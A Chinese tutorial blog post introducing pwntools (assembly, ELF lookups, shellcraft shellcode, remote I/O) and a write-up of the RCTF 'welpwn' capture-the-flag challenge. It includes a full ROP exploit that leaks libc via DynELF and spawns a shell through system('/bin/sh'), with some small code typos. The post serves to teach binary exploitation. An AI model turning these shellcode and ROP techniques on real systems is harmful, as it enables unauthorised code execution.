二进制安全基础之pwn利器pwntools

  • Author:ZERO-A-ONE
  • Date:2021-06-24

一、深入理解pwntools的使用

1.1 pwntools常用模块

  • asm:汇编与反汇编
  • dynelf:远程符号泄露
  • elf:elf文件操作
  • gdb:启动gdb调试
  • shellcraft:shellcode的生成器
  • cyclic pattern:偏移字符计算
  • process/remote:读写接口

1.2 汇编与反汇编

将汇编指令转为机器码

>>> asm('nop')
'\x90'

将机器码转为汇编指令

>>> print disasm('90'.decode('hex'))
0:	90							nop

1.3 ELF文件操作

>>> elf = ELF('/bin/cat')
[*] '/bin/cat'
	Arch:		amd64-64-little
	RELRO:		Partial RELRO
	Stack:		Canary found
	NX:			NX enabled
	PIE:		PIE enabled
	FORTIFY:	Enabled
>>> print hex(elf.bass())
0xb260
>>> print hex(elf.plt['write'])
0x2090
>>> print hex(elf.symbols['write'])
0x2090
>>> print hex(elf.got['write'])
0xb048
>>>

1.4 shellcode生成器

>>> print shellcraft.linux.sh()
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

>>> 

1.5 读写接口

远程读写接口

>>> re = remote("127.0.0.1",21)
[+] Opening connection to 127.0.0.1 on port 21:Done

打印收到的信息

>>> print re.recvline()
220 (vsFTPd 3.0.3)

本地IO接口

>>> p = process('/bin/sh')
[+] Strating local process '/bin/sh': pid 1223
>>> p.sendling('ifconfig')
>>> p.recvline()
'eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1454\n'

二、welpwn

2.1 ROP的利用方式

由于NX开启不能再栈上执行shellcode,我们可以在栈上布置一系列的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop/ret的代码块(称之为gadget)来平衡堆栈

2.2 64位参数传递与32位的不同

  • 32位函数调用参数从右向左放入栈中
  • 64位函数调用:
    • 当参数少于7个时,参数从左到右放入寄存器:rdi, rsi, rdx, rcx, r8, r9
    • 当参数为7个以上时,前6个与前面一样,但后面的依次从“右向左”放入栈中,即和32位汇编一样

2.3 welpwn详解

2.3.1 file查看文件

└─[$] file welpwn                                       [15:32:23]
welpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a48a707a640bf53d6533992e6d8cd9f6da87f258, not stripped

2.3.2 checksec查看保护机制

└─[$] checksec welpwn                                   [15:32:33]
[*] '/home/syc/example/welpwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.3.3 IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
    
  char buf; // [rsp+0h] [rbp-400h]

  alarm(0xAu);
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo(&buf, &buf);
  return 0;
}

read()读取一个1024个字节的数据,调用echo()

查看echo函数

int __fastcall echo(__int64 a1)
{
    
    
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    
    
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

echo函数中存在循环赋值,循环的次数为read函数读的数据的长度

for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;

查看echo函数栈帧大小为20h

push    rbp
mov     rbp, rsp
sub     rsp, 20h

由于echo函数的栈帧大小(20h)远小于read函数可以读取的数据长度(400h),在进行循环赋值的时候,echo函数保存在栈中的返回地址会被覆盖

2.3.4 利用思路

main函数中,用户可以输入1024个字节,并通过echo函数将输入复制到自身栈空间,但该栈空间很小,使得栈溢出成为可能。由于复制过程中,以x00作为字符串终止符,故如果我们的payload中存在这个字符,则不会复制成功。我们需要构造ROP链,这样肯定会在payload中包含x00字符

绕过障碍:

echo的栈帧只有20h,也就是32字节,4个pop gadget的大小,因为参数存储在寄存器里,所以实际buf和s2在存储空间里相邻,buf是属于主函数栈帧,s2属于echo栈帧,pop32字节,相当于把栈顶移到了主函数的栈中,调用存在主函数的ROP链

2.3.5 整合思路,编写EXP

寻找pop4ROP

└─[$] ROPgadget --binary welpwn --only "pop|ret"        [15:45:33]
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd

Unique gadgets found: 13

2.3.6 payload详解

泄露libc信息

def leak(address):
    print p.recv(1024)
    payload = "A" * 24
    payload += p64(popr12r13r14r15)
    payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)
    payload += p64(movcalladdress)
    payload += "A" * 56
    payload += p64(startAddress)
    payload = payload.ljust(1024,"C")
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data
dynelf = DynELF(leak,elf=ELF("./welpwn"))

首先根据缓冲区大小

char s2[16]; // [rsp+10h] [rbp-10h]

然后部署覆盖字节

payload = "A" * 24

然后清空R12,R13,R14,R15字节,一共32字节

payload += p64(popr12r13r14r15)

然后部署栈,利用gadget填充寄存器

.text:000000000040089A                 pop     rbx
.text:000000000040089B                 pop     rbp
.text:000000000040089C                 pop     r12
.text:000000000040089E                 pop     r13
.text:00000000004008A0                 pop     r14
.text:00000000004008A2                 pop     r15
.text:00000000004008A4                 retn
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)

实现write(1,address,8)

p64(movcalladdress)
.text:0000000000400880 loc_400880:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880                 mov     rdx, r13
.text:0000000000400883                 mov     rsi, r14
.text:0000000000400886                 mov     edi, r15d
.text:0000000000400889                 call    qword ptr [r12+rbx*8]
.text:000000000040088D                 add     rbx, 1
.text:0000000000400891                 cmp     rbx, rbp
.text:0000000000400894                 jnz     short loc_400880
rdx => 8
rsi => address
edi => 1
add rbx,1 => 1
cmp rbx,rdp
cmp 1,1

覆盖返回地址为startaddress

payload += "A" * 56
payload += p64(startAddress)

补齐1024

payload = payload.ljust(1024,"C")

调用dynelf泄露libc

dynelf = DynELF(leak,elf=ELF("./welpwn"))

调用system("/bin/sh")

systemAddress = dynelf.lookup("system","libc")
print hex(systemAddress)
bssAddress = 0x601070
poprdi = 0x4008a3
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(address)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)
payload = payload.ljust(1024,"C")
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()

实现调用read(0,bassaddr,8)

payload += p64(movcalladdress)

实现调用system(bssaddr)

payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)

猜你喜欢

转载自blog.csdn.net/kelxLZ/article/details/118194487